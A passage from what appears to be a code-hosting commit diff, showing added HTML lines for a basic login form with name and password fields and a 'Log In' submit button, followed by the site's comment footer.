<div class="name__container">
30+
<label for="name">Name</label>
31+
<input type="text" name="name" required="true">
32+
</div>
33+
<div class="password__container">
34+
<label for="password">password</label>
35+
<input type="password" name="password" required="true">
36+
</div>
37+
<div class="login__container">
38+
<input type="submit" name="login" value="Log In" id="login">
39+
</div>
40+
</form>
41+
</div>
42+
</div>
43+
</body>
44+
</html>

0 commit comments

Comments
 (0)
Please sign in to comment.